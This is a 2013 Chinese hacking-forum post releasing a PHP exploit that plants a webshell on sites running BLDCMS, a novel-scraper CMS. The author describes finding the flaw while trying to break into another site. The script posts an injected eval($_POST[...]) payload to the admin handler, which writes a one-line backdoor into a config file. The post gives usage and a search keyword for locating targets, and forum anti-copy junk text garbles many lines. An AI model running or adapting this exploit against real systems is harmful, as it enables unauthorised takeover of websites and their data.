找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2416|回复: 0
打印 上一主题 下一主题

BLDCMS(白老大小说) Getshell 0day EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-26 20:49:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
# ?  _. F: i% F9 C" {0 N3 P3 k
7 F( d+ [3 R! h
7 f+ c3 Y: c* U; j4 ^& K话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
' ~3 q# I( L% x  Q( K- I2 e
2 P7 A: n% R  K, y, {( E4 P既然都有人发了 我就把我之前写好的EXP放出来吧5 |$ N  ]4 b! n9 ?) i

& y5 C" u& u$ G& M2 [( ]  y/ eview source print?01.php;">
3 X3 y; G: e" w6 y! u02.<!--?php
1 P8 c# y7 Q5 J& Y) @- @0 P& o* K03.echo "-------------------------------------------------------------------
' W  E, d+ d  X- A: o5 h04. 8 P1 s/ \8 [* }2 b
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
( s0 `! L- [8 G% p) b" H7 G06.
4 m/ j3 v1 i" E5 i. d6 [  y. t07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun# a& I  [& x) c) L; e! i7 ?
08.
, D1 V4 Y3 o% l* b! G" d9 G8 N8 n  E09.QQ:981009941\r\n                                2013.3.21\r\n            
' ?" h: f1 `' B9 s3 E5 @' y$ E5 L  `10.
( g, |$ i$ S  N  G9 Y11. / Z7 x3 R/ _0 Z6 ^3 [
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码: l  Z4 x( G3 A9 i4 V! Q
13. ( a5 M- d  W5 `$ U. Y; m  E
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
4 |4 a5 @7 E; `3 H' r0 Q" V0 T( f15. 5 W% ]$ k8 N# N8 ]1 w# z% L
16.--------------------------------------------------------------------\r\n";6 `9 O5 f5 L$ v9 L, w2 O7 w
17.$url=$argv[1];0 M  \8 |+ j5 f; L5 o
18.$dir=$argv[2];
4 U; x- E; b* _; o- J7 R6 g19.$pass=$argv[3];2 X: \) M  S0 W- Z# j5 F; z
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';; H. T  l" e' ~3 a
21.if (emptyempty($pass)||emptyempty($url))9 A$ x  I1 H4 k# P* f
22.{exit("请输入参数");}
6 M; q. ^6 L) Z( W23.else( }0 _0 ^8 l. f- U
24.{/ I2 \# ]2 |! F6 B2 z
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
% w0 d  o# m2 H( M26.
+ J1 ^% B6 S  z8 x5 S27.al;
  \) \- _( a" r28.$length = strlen($fuckdata);
- I" n3 z( q6 H* s% q! f29.function getshell($url,$pass)  ?# P0 |" @! [8 k) P; M
30.{# n2 \3 [: M; }$ V% }
31.global $url,$dir,$pass,$eval,$length,$fuckdata;0 C% w$ Y, n4 D; }0 P& X" l$ N
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
( V! X- ~+ D8 G) T1 w1 T. c& }* p33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
: n/ ~* `) q# B0 h( l/ F7 t, E" v) X3 H0 ^34.$header .= "User-Agent: MSIE\r\n";
6 Q) O* P! e1 n" T35.$header .= "Host:".$url."\r\n";/ W0 q3 V: H/ @9 M
36.$header .= "Content-Length: ".$length."\r\n";7 X: `( c& ^( p/ h. ^# k
37.$header .= "Connection: Close\r\n";6 Z7 c/ ^4 o7 G$ L& {* ~
38.$header .="\r\n";' `! d" ^: G5 c0 S+ M! ?: \
39.$header .= $fuckdata."\r\n\r\n";+ K9 |+ x2 h3 E
40.$fp = fsockopen($url, 80,$errno,$errstr,15);" D: X7 F1 U) N
41.if (!$fp)8 M  p2 [% n' |* E2 C
42.{( u4 [' _. Y9 a
43.exit ("利用失败:请检查指定目标是否能正常打开");
  D8 {+ V/ O* W, b% O7 ?% A" Q( B+ i44.}6 d# o/ d% ?. D7 |
45.else{ if (!fputs($fp,$header)), F9 x# S; U8 s! a9 Y- o
46.{exit ("利用失败");}
: z4 l+ P5 o7 v0 L+ k$ F! M47.else" Y: P* S4 b/ _' e6 B& L
48.{+ Y" \" x% c+ F
49.$receive = '';3 \( [) q: F: D) t9 ^( v
50.while (!feof($fp)) {2 d( h( l4 z: j
51.$receive .= @fgets($fp, 1000);
' T) Y+ J  a! g, B52.}
5 w( ?6 \, T( g1 A" t# S53.@fclose($fp);
7 z/ ~: w3 M% M6 s4 _3 K3 |4 r5 L54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标# L, k  S; @+ E/ Y6 E0 e) d' H4 ^
55. 8 M8 j6 r8 G* N
56.GPC是否=off)";% p$ V7 S8 w7 X" C5 I0 j! ?9 J
57.}}
, Y1 c" L% C( h) V+ A58.}+ _( x9 H  ~2 j) n3 W/ y
59.}' u1 l' T) W/ Z# @3 l
60.getshell($url,$pass);
; B& V% ]1 e) ^1 h$ R& t% m$ C' O61.?-->' S% F9 w7 X7 R( z$ r

' C) R& k& R6 g' B) L7 m- e3 b6 V2 G
7 F* q6 n% u0 c: F( W
; e( C" l+ x: P7 u% Mby 数据流
8 H) |& s6 i% r" X) z* G' i$ g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表